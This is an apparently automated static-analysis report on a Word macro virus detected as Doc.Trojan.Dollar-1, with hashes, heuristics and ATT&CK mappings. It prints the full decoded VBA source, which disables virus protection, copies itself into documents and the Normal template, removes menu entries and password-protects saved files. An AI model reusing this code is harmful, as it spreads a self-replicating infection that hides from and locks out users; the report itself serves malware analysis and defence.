Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8b8c854bb986a167…

MALICIOUS

Office (OLE)

29.5 KB Created: 1997-07-07 09:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 22104cd0cb5c171beea912b56f7f30ef SHA-1: 79a7a189b5d33fe9cdc194002b95642ef2202de5 SHA-256: 8b8c854bb986a1676a5afa86aacda3ca4da2dd410db51e5bc70be36734d042c0
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and a VBA AutoOpen macro designed to infect the document and the Normal template with a macro named 'Dollar'. The script also attempts to hide its presence by deleting the 'Macro' command from the Tools menu. The ClamAV detection 'Doc.Trojan.Dollar-1' further confirms its malicious nature as a macro-based threat.

Heuristics 4

  • ClamAV: Doc.Trojan.Dollar-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Dollar-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2172 bytes
SHA-256: 2c21552c7ab74172feaf56481778b8565bd6b08ab1bcc9a2471f55359f2b1128
Detection
ClamAV: Doc.Trojan.Dollar-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Dollar"
Sub AutoOpen()
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
DocInfect = False
GlobInfect = False
For d = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(d).Name = "Dollar" Then
DocInfect = True
End If
Next
For f = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(f).Name = "Dollar" Then
GlobInfect = True
End If
Next
If DocInfect = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Dollar", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Dollarz", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
If GlobInfect = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Dollar", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Dollarz", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
Application.DisplayAlerts = wdAlertsAll
Call KillBar
If Day(Now()) = 9 Then
Dollarz.Show
End If
End Sub

Sub KillBar()
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
End Sub

Sub ToolsMacro()
'DoLLaR by MiDeZ [RiOteRs]
'Thanx ULTRAS
Beep
End Sub

Sub ViewVBCode()
Beep
If Second(Now()) = 33 Then
Dollarz.Show
End If
End Sub

Sub FileTemplates()
Beep
End Sub

Sub ToolsCustomize()
Beep
End Sub

Sub FileSave()
ActiveDocument.Password = "DoLLaR"
ActiveDocument.Save
End Sub